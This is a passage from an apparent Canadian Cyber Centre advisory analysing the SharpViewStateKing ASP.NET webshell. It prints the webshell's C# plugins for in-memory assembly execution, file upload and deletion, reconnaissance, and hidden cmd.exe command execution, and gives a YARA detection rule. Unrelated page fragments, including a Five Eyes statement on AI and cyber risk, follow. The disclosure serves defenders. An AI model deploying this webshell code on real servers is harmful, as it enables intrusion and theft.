<strong><code>Guid.NewGuid()</code></strong> method is not considered cryptographically secure and guarantees, at most, 122 bits of entropy.</p> <div class="clearfix"> </div> <h4 class="text-center">Figure 5: Encrypt function using Rijndael (AES-128) in CBC mode</h4> <div class="container"> <pre> <code> public static byte[] Enc(byte[] data) { byte[] array = Guid.NewGuid().ToByteArray(); byte[] array2 = Guid.NewGuid().ToByteArray(); MemoryStream memoryStream = new MemoryStream(); memoryStream.Write(array, 0, array.Length); memoryStream.Write(array2, 0, array2.Length); RijndaelManaged rijndaelManaged = new RijndaelManaged(); rijndaelManaged.BlockSize = 128; rijndaelManaged.KeySize = 128; rijndaelManaged.Mode = CipherMode.CBC; rijndaelManaged.Padding = PaddingMode.PKCS7; CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(array2, array), CryptoStreamMode.Write); cryptoStream.Write(data, 0, data.Length); cryptoStream.FlushFinalBlock(); return memoryStream.ToArray(); } </code> </pre> </div> <details><summary>Figure 5 long description – Encrypt function using Rijndael (AES-128) in CBC mode</summary><p>The figure shows a C# method Enc that encrypts a byte array using Rijndael-128 in CBC mode (AES-128-CBC) with PKCS7 padding. It generates two <abbr title="Global Unique Identifiers">GUIDs</abbr> to serve as the <abbr title="initialization vector">IV</abbr> and key, writes them to a MemoryStream prefixing the ciphertext, then uses a CryptoStream to encrypt the input data and flushes the final block before returning the combined byte array. The configuration sets both block size and key size to 128 bits, producing an output that begins with the <abbr title="initialization vector">IV</abbr> and key followed by the encrypted payload.</p> </details><div class="clearfix"> </div> <p>Since both values are written directly to the response data without any cryptographic protection of their own, they can be recovered from server <abbr title="hypertext transfer protocol">HTTP</abbr> logs or network captures. This is possible if <abbr title="hypertext transfer protocol">HTTP</abbr> was used as the application layer protocol, or if <abbr title="hypertext transfer protocol secure">HTTPS</abbr> was de-encapsulated. Leveraging these values to decrypt exfiltrated data would then be a trivial matter, if using a tool like <a href="https://gchq.github.io/CyberChef/">CyberChef</a>.</p> <!–** TOP OF PAGE ******–> <div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <h3>Observation 1</h3> <p><strong>Main capability</strong>: ExecuteAssembly</p> <p><strong>Observed technique</strong>: ExecuteAssembly (<a href="https://attack.mitre.org/techniques/T1620/">T1620</a>)</p> <p>This plugin implements a class that enables the threat actor to load an arbitrary ASP.NET assembly directly from a memory buffer, providing the threat actor with fileless execution capability for post-exploitation and allowing them to bypass disk-based detection. For example, it was used to load and execute the EfsPotato privilege escalation exploit directly into the memory of the compromised host.</p> <p>The plugin includes two methods:</p> <ol><li><strong>ParseArgs(string input):</strong> takes a raw command-line argument string and parses it into a properly formatted string array by iterating through each character while tracking quote boundaries with a Boolean flag. <ul><li>This allowed the payload to receive arguments exactly as if they were launched from the command-line, making in-memory execution behave like a normal program launch and enabling the threat actor to pass command-line parameters to malicious .NET assemblies.</li> </ul></li> <li><strong>ExecuteAssembly(byte[] assembly, byte[] bArgs):</strong> redirects <strong><code>Console.Out</code></strong> and <strong><code>Console.Error</code></strong> streams to an in-memory <strong><code>MemoryStream</code></strong> and uses <strong><code>Assembly.Load()</code></strong> to load the .NET assembly bytes directly into process memory without writing to disk. <ul><li>This retrieved the assembly’s <strong><code>Main</code></strong> method using <strong><code>ENTRYPOINT</code></strong> instructions then invoked it with the parsed command-line arguments, capturing all console output (<strong><code>stdout/stderr</code></strong>) produced during execution into <strong><code>MemoryStream</code></strong> and converting it to a UTF-8 string. The result was returned via <abbr title="hypertext transfer protocol">HTTP</abbr> response by the constructor.</li> </ul></li> </ol><div class="clearfix"> </div> <h4 class="text-center">Figure 6: ExecuteAssembly method in LoadAndExecuteAssembly class</h4> <div class="container"> <pre> <code> public class LoadAndExecuteAssembly { public static string ExecuteAssembly(byte[] assembly, byte[] bArgs) { string empty = string.Empty; try { TextWriter textWriter = Console.Out; TextWriter error = Console.Error; MemoryStream memoryStream = new MemoryStream(); StreamWriter streamWriter = new StreamWriter(memoryStream); streamWriter.AutoFlush = true; Console.SetOut(streamWriter); Console.SetError(streamWriter); Assembly assembly2 = Assembly.Load(assembly); MethodInfo entryPoint = assembly2.EntryPoint; string[] array = ParseArgs(Encoding.UTF8.GetString(bArgs)); entryPoint.Invoke(null, new object[1] { array }); empty = Encoding.UTF8.GetString(memoryStream.ToArray()); Console.SetOut(textWriter); Console.SetError(error); streamWriter.Close(); memoryStream.Close(); } catch (Exception ex) { empty = "Error: " + ex; } return empty; } } </code> </pre> </div> <details><summary>Figure 6 long description – ExecuteAssembly method in LoadAndExecuteAssembly class</summary><p>The figure shows a C# class LoadAndExecuteAssembly with a public static method ExecuteAssembly that loads a .NET assembly from a byte array and invokes its entry point with arguments parsed from another byte array. Before invocation, it redirects Console.Out and Console.Error to a MemoryStream via a StreamWriter to capture all console output, then restores the original streams and returns the captured text; on failure, it returns a formatted error string. The code manages resources by closing the writer and stream after execution.</p> </details><div class="clearfix"> </div> <h3>Observation 2</h3> <p><strong>Main capability:</strong> FileDelete</p> <p><strong>Observed technique:</strong> FileDelete (<a href="https://attack.mitre.org/techniques/T1070/004/">T1070.004</a>)</p> <p>This plugin implements a class that enables the threat actor to remotely delete a file from the victim’s filesystem. It receives an encrypted file path via <abbr title="hypertext transfer protocol">HTTP</abbr>, deletes the specified file, then returns an encrypted confirmation message. The threat actor used this capability to cover their tracks and delete previously staged files.</p> <div class="clearfix"> </div> <h4 class="text-center">Figure 7: fileDelete method in FileDelete class</h4> <div class="container"> <pre> <code> public class FileDelete { public static string fileDelete(string filePath) { try { if (File.Exists(filePath)) { File.Delete(filePath); } return "Delete successful"; } catch (Exception ex) { return ex.Message; } } } </code> </pre> </div> <details><summary>Figure 7 long description – fileDelete method in FileDelete class</summary><p>The figure displays a snippet of C# code defining a class named FileDelete with a public static method, fileDelete, that accepts a file path string. Inside a try-catch block, the method checks if the file exists, deletes it if present, and returns “Delete successful”; if an exception occurs, it returns the exception’s message.</p> </details><div class="clearfix"> </div> <h3>Observation 3</h3> <p><strong>Main capability:</strong> FileUpload</p> <p><strong>Observed technique:</strong> FileUpload (<a href="https://attack.mitre.org/techniques/T1608/001/">T1608.001</a>)</p> <p>This plugin implements a class that enables the threat actor to remotely upload files to the victim’s filesystem. It received an encrypted file path and its contents via <abbr title="hypertext transfer protocol">HTTP</abbr>, wrote the content to the specified path, then returned an encrypted confirmation message.</p> <div class="clearfix"> </div> <h4 class="text-center">Figure 8: UploadFile method in FileUpload class</h4> <div class="container"> <pre> <code> public class FileUpload { public static string UploadFile(byte[] content, string filePath) { try { FileStream fileStream = new FileStream(filePath, FileMode.Append); fileStream.Write(content, 0, content.Length); fileStream.Close(); return "Upload successful"; } catch (Exception ex) { return ex.Message; } } } </code> </pre> </div> <details><summary>Figure 8 long description – UploadFile method in FileUpload class</summary><p>The figure shows a C# code snippet defining a class named FileUpload with a public static method UploadFile that takes a byte array and a file path. Inside a try-catch block, it opens a FileStream in append mode, writes the byte content to the file, closes the stream, and returns “Upload successful,” while any exception results in returning the exception’s message.</p> </details><div class="clearfix"> </div> <h3>Observation 4</h3> <p><strong>Main capability:</strong> Information</p> <p><strong>Observed technique:</strong> Information (<a href="https://attack.mitre.org/techniques/T1082/">T1082</a>, <a href="https://attack.mitre.org/techniques/T1057/">T1057</a>)</p> <p>This was the first plugin deployed to the compromised host. It implemented a class that retrieved the following detailed system information in a <abbr title="JavaScript Object Notation">JSON</abbr> string:</p> <ul><li>current working directory for the process</li> <li>current “web” directory for the process</li> <li>content from two registry keys<br /><strong><code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName</code></strong><br /><strong><code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion</code></strong></li> <li>all disk drives, including free space</li> <li>all network interfaces</li> <li>all running processes</li> </ul><div class="clearfix"> </div> <h4 class="text-center">Figure 9: GetSystemInformation method in Information class</h4> <div class="container"> <pre> <code> public class Information { public static string GetSystemInformation(string data = null) { string currentDirectory = Directory.GetCurrentDirectory(); string text = $" Current Directory: {currentDirectory}\r\n"; text += string.Format("Current Web Directory: {0}\r\n\r\n", HttpContext.Current.Server.MapPath(".")); RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"); if (registryKey != null) { text += string.Format("Windows Product Name: {0}\r\n", registryKey.GetValue("ProductName")); text += string.Format(" Windows Version: {0}\r\n\r\n", registryKey.GetValue("CurrentVersion")); } DriveInfo[] drives = DriveInfo.GetDrives(); foreach (DriveInfo driveInfo in drives) { if (driveInfo.IsReady) { text += $"Disk drive {driveInfo.Name}\r\n"; text += $" Disk size: {driveInfo.TotalSize / 1024L / 1024L / 1024L} GB\r\n"; text += $" Free space: {driveInfo.AvailableFreeSpace / 1024L / 1024L / 1024L} GB\r\n"; } } text += "\r\n"; NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces(); NetworkInterface[] array = allNetworkInterfaces; foreach (NetworkInterface networkInterface in array) { if (networkInterface.Name.ToLower().Contains("loopback")) { continue; } IPInterfaceProperties iPProperties = networkInterface.GetIPProperties(); UnicastIPAddressInformationCollection unicastAddresses = iPProperties.UnicastAddresses; string text2 = string.Empty; string text3 = string.Empty; foreach (UnicastIPAddressInformation item in unicastAddresses) { if (item.Address.AddressFamily != AddressFamily.InterNetwork) { if (item.Address.AddressFamily == AddressFamily.InterNetworkV6) { text3 = string.Concat(text3, item.Address, ","); } } else { text2 = string.Concat(text2, item.Address, ","); } } string text4 = string.Empty; if (iPProperties.DnsAddresses.Any()) { Console.WriteLine("DNS Servers:"); foreach (IPAddress dnsAddress in iPProperties.DnsAddresses) { text4 = string.Concat(text4, dnsAddress, ","); } } text += $"Network adapter: {networkInterface.Description}\r\n"; text += $" MAC address: {networkInterface.GetPhysicalAddress().ToString()}\r\n"; text += $" IP addresses: {text2.Trim() + text3.Trim().Trim(new char[1] { ‘,’ })}\r\n"; text += $" DNS Server: {text4}\r\n"; } text += "\r\n-&gt;||"; Process[] processes = Process.GetProcesses(); foreach (Process process in processes) { text = text + process.ProcessName + ".exe,"; } return text + "||&lt;-"; } } </code> </pre> </div> <details><summary>Figure 9 long description – GetSystemInformation method in Information class</summary><p>The figure contains a public static method GetSystemInformation that builds a detailed string of system data. It queries current web directories, reads Windows product and version from the registry, enumerates drives to report disk sizes and free space, and iterates network interfaces to collect IP addresses while skipping the loopback adapter.</p> </details><div class="clearfix"> </div> <h3>Observation 5</h3> <p><strong>Main capability:</strong> ListDirectory</p> <p><strong>Observed technique:</strong> ListDirectory (<a href="https://attack.mitre.org/techniques/T1083/">T1083</a>)</p> <p>This plugin implemented a class that enabled the threat actor to enumerate and retrieve detailed information on files and directories on the victim’s filesystem using the following two methods:</p> <ol><li><strong>list_directory(string path):</strong> listed all files and folders in a specified directory <ul><li>used <strong><code>DirectoryInfo</code></strong> to access the target directory and <strong><code>GetFileSystemInfos()</code></strong> to retrieve all files and subdirectories</li> <li>for each file or folder item, it called <strong><code>GetIcon()</code></strong> to retrieve the visual icon and create a <strong><code>MemoryStream</code></strong> (temporary memory buffer) to hold image data and save the icon as a PNG image into the <strong><code>MemoryStream</code></strong></li> <li>checked if the item was a directory or a file using <strong><code>FileAttributes</code></strong>, and any file size was retrieved in bytes</li> <li>built a tab-separated string containing: <ul><li>file name</li> <li>full path</li> <li>IsDirectory flag (true/false)</li> <li>icon data encoded as Base64</li> <li>last modified timestamp (format: yyyy-mm-dd hh:mm:ss)</li> <li>file size (0 for directories)</li> </ul></li> </ul></li> </ol><div class="clearfix"> </div> <h4 class="text-center">Figure 10: list_directory method in ListDirectory</h4> <div class="container"> <pre> <code> public class ListDirectory { public static string list_directory(string path) { StringBuilder stringBuilder = new StringBuilder(); try { DirectoryInfo directoryInfo = new DirectoryInfo(path); FileSystemInfo[] fileSystemInfos = directoryInfo.GetFileSystemInfos(); FileSystemInfo[] array = fileSystemInfos; foreach (FileSystemInfo fileSystemInfo in array) { MemoryStream memoryStream = new MemoryStream(); string text = "0"; bool flag = true; ((Image)GetIcon(fileSystemInfo.FullName)).Save((Stream)memoryStream, ImageFormat.Png); if ((fileSystemInfo.Attributes &amp; FileAttributes.Directory) != FileAttributes.Directory) { flag = false; text = new FileInfo(fileSystemInfo.FullName).Length.ToString(); } stringBuilder.Append(string.Format("{0}\t{1}\t{2}\t{3}\t{4}\t{5}\r\n", fileSystemInfo.Name, fileSystemInfo.FullName, flag, Convert.ToBase64String(memoryStream.ToArray()), File.GetLastWriteTime(fileSystemInfo.FullName).ToString("yyyy-MM-dd hh:mm:ss"), text)); memoryStream.Close(); } } catch (Exception ex) { stringBuilder.Append(ex.Message); } return stringBuilder.ToString(); } } </code> </pre> </div> <details><summary>Figure 10 long description – list_directory method in ListDirectory</summary><p>The figure shows a C# class named ListDirectory with a public static method list_directory that takes a path and returns a formatted string of directory contents. It iterates through FileSystemInfo entries, saves each item’s shell icon to a MemoryStream as PNG (then Base64), determines whether the entry is a directory or file and, for files, captures the size.</p> </details><div class="clearfix"> </div> <ol start="2"><li><strong>GetIcon(string file):</strong>extracted visual icons or thumbnails from files to help identify file types <ul><li>image file types (e.g., .jpg, .jpeg, .gif, .png, .bmp) were opened to create a 48×48 pixel thumbnail</li> <li>all other file types extracted the associated Windows shell icon, converted it to a bitmap graphic, and returned the icon to the threat actor as a bitmap object</li> </ul></li> </ol><div class="clearfix"> </div> <h4 class="text-center">Figure 11: GetIcon method in ListDirectory class</h4> <div class="container"> <pre> <code> public class ListDirectory { private static Bitmap GetIcon(string file) { try { if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp")) { Bitmap val = new Bitmap(file); return new Bitmap(((Image)val).GetThumbnailImage(48, 48, (GetThumbnailImageAbort)(() =&gt; false), IntPtr.Zero)); } Icon val2 = Icon.ExtractAssociatedIcon(file); return val2.ToBitmap(); } catch { return new Bitmap(48, 48); } } } </code> </pre> </div> <details><summary>Figure 11 long description – GetIcon method in ListDirectory class</summary><p>The figure contains a C# snippet from a class named ListDirectory defining a private static method GetIcon that returns a Bitmap for a given file path. Inside a try block, it checks if the file has an image extension (jpg, jpeg, gif, png, bmp); for images it creates a 48×48 thumbnail from the bitmap, and for other files it extracts the system-associated icon using Icon.ExtractAssociatedIcon and converts it to a bitmap. If any error occurs, the method falls back to returning a new 48×48 bitmap as a default.</p> </details><div class="clearfix"> </div> <h3>Observation 6</h3> <p><strong>Main capability:</strong> RemoteExec</p> <p><strong>Observed technique:</strong> RemoteExec (<a href="https://attack.mitre.org/techniques/T1059/003/">T1059.003</a>)</p> <p>This plugin implemented a class that enabled the threat actor to remotely execute a command or existing executable on the compromised host and return its output by:</p> <ul><li>taking the target command as an argument</li> <li>decoding the following hard-coded Base64 string: <strong><code>QzpcV2luZG93c1xTeXN0ZW0zMlxjbWQuZXhl</code></strong> into <strong><code>C:\Windows\System32\cmd.exe</code></strong>.</li> <li>launching the above <strong><code>cmd.exe</code></strong> process as a hidden window, writing the supplied command plus "<strong><code>&amp;exit</code></strong>" to <strong><code>StandardInput</code></strong>, then extracting both the <strong><code>StandardOutput</code></strong> and <strong><code>StandardError</code></strong></li> </ul><p>The result is returned via <abbr title="hypertext transfer protocol">HTTP</abbr> response by the constructor.</p> <div class="clearfix"> </div> <h4 class="text-center">Figure 12: ExecCmd method in RemoteExec class</h4> <div class="container"> <pre> <code> public class RemoteExec { public static string ExecCMD(string command) { string empty = string.Empty; string fileName = Encoding.UTF8.GetString(Convert.FromBase64String("QzpcV2luZG93c1xTeXN0ZW0zMlxjbWQuZXhl")); string text = command + "&amp;exit"; try { ProcessStartInfo processStartInfo = new ProcessStartInfo(); processStartInfo.FileName = fileName; processStartInfo.RedirectStandardInput = true; processStartInfo.RedirectStandardOutput = true; processStartInfo.RedirectStandardError = true; processStartInfo.UseShellExecute = false; processStartInfo.CreateNoWindow = true; Process process = new Process(); process.StartInfo = processStartInfo; process.Start(); process.StandardInput.WriteLine(text); empty = process.StandardOutput.ReadToEnd(); empty = empty.Substring(empty.IndexOf(text) + text.Length); empty += process.StandardError.ReadToEnd(); process.WaitForExit(); process.Close(); } catch (Exception ex) { empty = $"\r\n[!] ExecCMD error: {ex.Message}"; } return empty; } } </code> </pre> </div> <details><summary>Figure 12 long description – ExecCmd method in RemoteExec class</summary><p>The figure shows a C# class named RemoteExec with a public static method ExecCMD that runs a shell command and returns its output. It decodes a base64 string to obtain the executable name, builds a ProcessStartInfo with standard input/output/error redirected, writes the command followed by “&amp;exit,” then reads both stdout and stderr before waiting for the process to finish. If an exception occurs, the method returns a formatted error message containing the exception text.</p> </details><div class="clearfix"> </div> <!–** TOP OF PAGE ******–> <div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <h2 class="text-info" id="5">Indicators of compromise and recommendations</h2> <p>Indicators of compromise (IoCs) were distributed through alerts and communications by the Canadian Cyber Security Incident Response Team (CSIRT). This ensured that partners across all sectors had the information they needed to act decisively.</p> <p>Due to the capabilities demonstrated by the implant framework, a full rebuild of all infected hosts is strongly recommended. Encryption and validation keys in the ASP.NET web application should be treated as compromised and replaced, following Microsoft’s <a href="https://www.microsoft.com/en-us/msrc/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/">Customer guidance for SharePoint vulnerability CVE-2025-53770</a>. Network detection and response (NDR) and endpoint detection and response (EDR) telemetry should be examined for evidence of lateral movement to other network hosts by checking for:</p> <ul><li>newly created user accounts</li> <li>recently installed software (e.g., SoftEther <abbr title="virtual private network">VPN</abbr>)</li> <li>any modifications to settings like Microsoft Defender Antivirus exclusions.</li> </ul><p>Additionally, all passwords and credentials on the victim’s system should be considered compromised and, therefore, rotated.</p> <p>For up-to-date information on <a href="/en/alerts-advisories">alerts and advisories</a> or <a href="/en/guidance">cyber security guidance</a>, please <a href="/en/contact-cyber-centre">contact the Cyber Centre</a>.</p> <h2 class="text-info" id="6">Cyber Centre tools and services</h2> <p>No single tool, service or turnkey solution can reconstruct an incident, trace a threat actor’s path or validate a threat on its own. A holistic approach using multiple perspectives is required to conduct a thorough investigation. As such, the Cyber Centre relies on multiple layered telemetry sources to detect threats and protect monitored assets.</p> <p><a href="/en/tools-services/assemblyline">Assemblyline</a> was used to enable triage at scale, processing hundreds of thousands of files per day by leveraging over 75 anti-virus products and checking hashes against a local cache of VirusTotal results. In this incident, all 67 unique malware samples retrieved did not result in a single detection.</p> <p>In response to this incident, the Cyber Centre created YARA rules that target C# code rather than compiled DLLs, resulting in more flexible detection rules. Additional YARA rules will be released periodically after an evaluation period to ensure accuracy.</p> <p>The sample YARA rule below implements detections for several of the observed malware.</p> <div class="clearfix"> </div> <h4 class="text-center">Figure 13: YARA rule for observed malware</h4> <div class="container"> <pre> <code> rule SharpViewStateKing { meta: id = "6gLZaiLFk2mV4fWlj0eIQ2" fingerprint = "00b4dfca3c9c883088259ec9b125411e0896be54cfe08201b03f36d51ae05c8b" version = "1.0" date = "2026-05-01" modified = "2026-05-01" status = "RELEASED" sharing = "TLP:CLEAR" source = "CCCS" author = "reveng@CCCS" description = "Detects SharpViewStateKing webshell." category = "MALWARE" malware = "SHARPVIEWSTATEKING" malware_type = "WEBSHELL" mitre_att = "T1505.003" hash = "547b65933c4b6af8a240cca21175398775abe228eceea2c4138b262ed0a90967" hash = "24c600584c3d36cfc02c8dbc528306fe8b69971045b299de8186954e0eed0f3e" hash = "8d7713e2687dd2e9311e3a3f5df85ecc20dbf4c4b0c91086e0c53bd2c112bde1" hash = "a6d7461a88cf7f12072b812499fee3ac6d08acff4db611623871765b60cf1014" hash = "921f6502b79b542b2123ba05f86ccfe44746a5feeefc92d7cf5506f04c47b58a" hash = "6c249e9a4a55b18a0d17e9430666ccbf61b2fe6349e18e830c4f55ae47fc87d5" hash = "1f258c70dfb064e6e1a55885b22660aa034469699be7e0ffeb5d174c8afa72c8" hash = "d2f2f0941fe3cb70ba4aeb0927d1a8abcf556d4150832962eb3cc6c13d6c7256" strings: $web_1 = "&amp;__SCROLLPATH=" wide $web_2 = "/wEPDwUKLTcyODc4" wide $web_3 = "__VIEWSTATE={0}&amp;__VIEWSTATEGENERATOR={1}" wide $web_4 = "DecodeViewState" $web_5 = "CraeteViewState" $web_6 = "WebForms_HiddenFieldPageStatePersister_ClientState" $web_7 = "ViewStateUserKey" wide nocase $web_8 = "__VIEWSTATEENCRYPTED" wide $web_9 = "__VIEWSTATE" wide $web_10 = "&amp;__SCROLLPOSITION=" wide $web_11 = "&lt;input type=\"hidden\" name=\"" wide $web_12 = "&lt;input type=\"\"hidden\"\" name=\"\"__VIEWSTATE\"\" id=\"\"__VIEWSTATE\"\" value=\"\"/wEPDwUKLTcyODc4\"" $web_13 = "&amp;__VIEWSTATEGENERATOR=" wide $web_14 = "FriendlyUrlsViewSwitcherRoute" $web_15 = "System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(" $str_plugin_1 = "antsword" $str_plugin_2 = "godzilla" $str_plugin_3 = "ghostwebshell" $str_payload_dotnet_serialized = ": \"/wEyo" $str_name_1 = "SharpViewStateKing" ascii wide $str_name_2 = "ViewStateKing" ascii wide $str_name_3 = "ViewStateLibrary" $str_enc = "EncryptOrDecryptData" $str_key = "3c6e0b8a9c15224a" $str_enc_func = "public static byte[] Enc(byte[] data)" $str_dec_func = "public static byte[] Dec(byte[] data)" $str_sys_info = "SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = ‘TRUE’" $str_dll = "a4hmgwwu.dll" $str_bypass = "[!] Bypass error: {0}" wide condition: 2 of ($web_*) and 2 of ($str_*) } </code> </pre> </div> <details><summary>Figure 13 long description – YARA rule for observed malware</summary><p>This YARA rule detects the SharpViewStateKing ASP.NET web shell, which abuses the ViewState mechanism and base64-encoded page state to execute commands, including references to known web shell tooling and .NET methods for encoding/decoding and custom encryption/decryption. It is intended for scanning ASP.NET pages and .NET assemblies where hidden input fields and serialized payloads may be present; false positives should be rare but can occur in heavily customized applications that manipulate ViewState in nonstandard ways.</p> </details><div class="clearfix"> </div> <!–** TOP OF PAGE ******–> <div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <h2 class="text-info" id="7">Acknowledgments</h2> <p>As a part of the Communications Security Establishment Canada (CSE), the Cyber Centre is a proud member of the Five Eyes, the world’s longest-standing and closest intelligence-sharing alliance. Sharing <abbr title="indicators of compromise">IoCs</abbr> and TTPs with the cyber community and Five Eyes partners has been instrumental since SharpViewStateKing plugins were first discovered, and ongoing analytical exchanges have maximized the value of collected data.</p> <section class="alert alert-info"><p><strong>Disclaimer: </strong>The Cyber Centre disclaims all liability for any loss, damage, or costs arising from the use of or reliance on the information within this article. Readers are solely responsible for verifying the accuracy and applicability of any information before acting on it.</p> </section><!–FOOTNOTE SECTION EN–><aside class="wb-fnote" role="note"><h2 class="text-info" id="8">References</h2> <dl><dt>Footnote 1</dt> <dd id="fn1"> <p>The Cyber Centre is aware of an open-source project of the same name previously available on <a href="https://github.com/RowTeam/SharpViewStateKing">GitHub</a> until 2023 when it became private.</p> <p class="fn-rtn"><a href="#fn1-rf"><span class="wb-inv">Return to footnote</span>1<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 2</dt> <dd id="fn2"> <p><a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">Code injection attacks using publicly disclosed ASP.NET machine keys</a></p> <p class="fn-rtn"><a href="#fn2-rf"><span class="wb-inv">Return to footnote</span>2<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 3</dt> <dd id="fn3"> <p><a href="https://github.com/fortra/impacket/blob/master/examples/secretsdump.py">Impacket secretsdump.py</a></p> <p class="fn-rtn"><a href="#fn3-rf"><span class="wb-inv">Return to footnote</span>3<span class="wb-inv"> referrer</span></a></p> </dd> </dl></aside></div> </div> </div> </div> </div> </article>

Although obsolete products may still meet functional requirements, their continued use can introduce security and operational risks that are not always obvious. This publication provides guidance to help your organization identify obsolete products, manage associated risks and transition safely to supported alternatives.

<article data-history-node-id="7908" about="/en/news-events/statement-canadian-centre-cyber-security-frontier-artificial-intelligence-models-their-impact-cyber-security" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> </div> </div> </div> </article>

<article data-history-node-id="7773" about="/en/news-events/five-eyes-cyber-security-agencies-statement-ai-shift-cyber-risk-why-leaders-must-act-now" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><div class="pull-right mrgn-lft-lg col-md-6 col-sm-6 col-xs-12"> <figure><img alt="" class="img-responsive mrgn-bttm-sm center-block" src="/sites/default/files/images/five-eyes-logo-collectivite-cinq-460×76.png" /><figcaption class="h2 mrgn-tp-0 mrgn-bttm-lg text-center">Five Eyes</figcaption></figure></div> <p>As the leaders of the Five Eyes cyber security agencies, we are united in our call to action: the evolving landscape of artificial intelligence (AI) is rapidly transforming cyber risk, and we must act swiftly to remain ahead.</p> <h2>A call to action</h2> <p>While <abbr title="artificial intelligence">AI</abbr> will help us improve cyber defence over time, it also accelerates the speed, scale, and sophistication of cyber threats.</p> <p>Frontier <abbr title="artificial intelligence">AI</abbr> models are anticipated to exceed current industry expectations, fundamentally transforming both offensive and defensive cyber capabilities. The timeline is not years, it is months.</p> <p>In this environment, cyber resilience is integral to advancing business continuity, market confidence, and long-term value. We urge leaders to:</p> <ul><li>understand and assess risk, readiness and accountability</li> <li>prioritize foundational cyber security practices and controls</li> <li>empower cyber leaders with authority and resources</li> <li>stay actively engaged as threats and guidance evolve</li> </ul><p>Success will come from getting the basics right, acting quickly, and integrating cyber security into core business strategy. Those that do not will face growing operational and strategic disadvantage.</p> <h2>The urgency is clear</h2> <p><abbr title="artificial intelligence">AI</abbr> is not a future consideration – it is already here.</p> <p>It lowers barriers for malicious actors and increases the speed and complexity of attacks, shrinking the window between vulnerability discovery and exploitation ever more quickly. At the same time, <abbr title="artificial intelligence">AI</abbr> offers powerful tools to strengthen defence.</p> <h2>A whole-of-organization and whole-of-society response is required</h2> <p>Cyber risk can no longer be treated as a purely technical issue. This is a core business risk and leadership responsibility. Boards and executives should ensure cyber resilience is in place and works under pressure. It is not enough to have controls. Leaders must be confident those controls will perform during a real incident. This requires reassessing long-standing trade-offs and using <abbr title="artificial intelligence">AI</abbr> deliberately to strengthen defence – not just improve efficiency.</p> <h2>Key actions for leaders</h2> <p>Core principles:</p> <ul><li>Secure-by-design and secure-by-default must become standard practice – not an aspiration</li> <li>Resilience cannot depend on a single solution or technology. Defence in depth remains essential</li> <li>As <abbr title="artificial intelligence">AI</abbr> systems evolve, new and previously unknown vulnerabilities will emerge, including zero‑day vulnerabilities</li> </ul><p>Breaches will occur. Preparedness helps you contain them quickly and prevent escalation into major operational and financial crises.</p> <h3>Practical actions</h3> <p>These actions are not new, but are now urgent to reduce not only technical risk, but also operational, financial and reputational exposure:</p> <ol><li><strong>Reduce your attack surface: </strong>Limit unnecessary system access and external connectivity. Challenge whether systems need to be exposed at all and isolate those that do not</li> <li><strong>Accelerate patching processes: </strong><abbr title="artificial intelligence">AI</abbr> is shortening the time between vulnerability discovery and exploitation. Delays in patching increase risk, especially for operational systems with long update cycles. Prioritise security updates accordingly to manage risks</li> <li><strong>Address legacy systems</strong>: Unsupported systems are easy targets. They are not just technical debt, they are strategic liabilities</li> <li><strong>Review and strengthen identity and access controls: </strong>Limit who can access critical systems. Enforce strong authentication and regularly review permissions</li> <li><strong>Prepare for incidents before they happen: </strong>Test response plans, train and prepare teams, and assume breaches will occur. Focus on fast containment and recovery</li> </ol><h2>Use <abbr title="artificial intelligence">AI</abbr> to strengthen defence</h2> <p>Adversaries are already using <abbr title="artificial intelligence">AI</abbr> to move faster and more effectively. Defenders must do the same.</p> <p>Organizations that integrate <abbr title="artificial intelligence">AI</abbr> tools into their security operations can detect vulnerabilities earlier, improve software quality, monitor unusual behaviour, and respond faster to incidents – reducing both the cost and impact of incidents.</p> <p>Success will not come from having the most tools. It will come from getting the basics right, acting quickly, and integrating cyber security into core business strategy.</p> <h2>We must act now</h2> <p>The rapid pace of frontier <abbr title="artificial intelligence">AI</abbr> development means cyber risk assumptions can become outdated in months, not years. We must act before and be prepared to adapt and withstand evolving threats.</p> <p>Cyber resilience is not an <abbr title="information technology">IT</abbr> issue – it is central to operational continuity and market trust. Leaders who act now will reduce exposure, strengthen resilience, and build confidence with customers, partners, and investors. Those who delay will face growing and avoidable risk.</p> <div class="well mrgn-tp-lg mrgn-bttm-lg"> <p class="mrgn-bttm-sm">Our Five Eyes cyber security partnership is deep and transparent. The way we share cyber threat information is critical to our collective security. In that spirit, we call on leaders 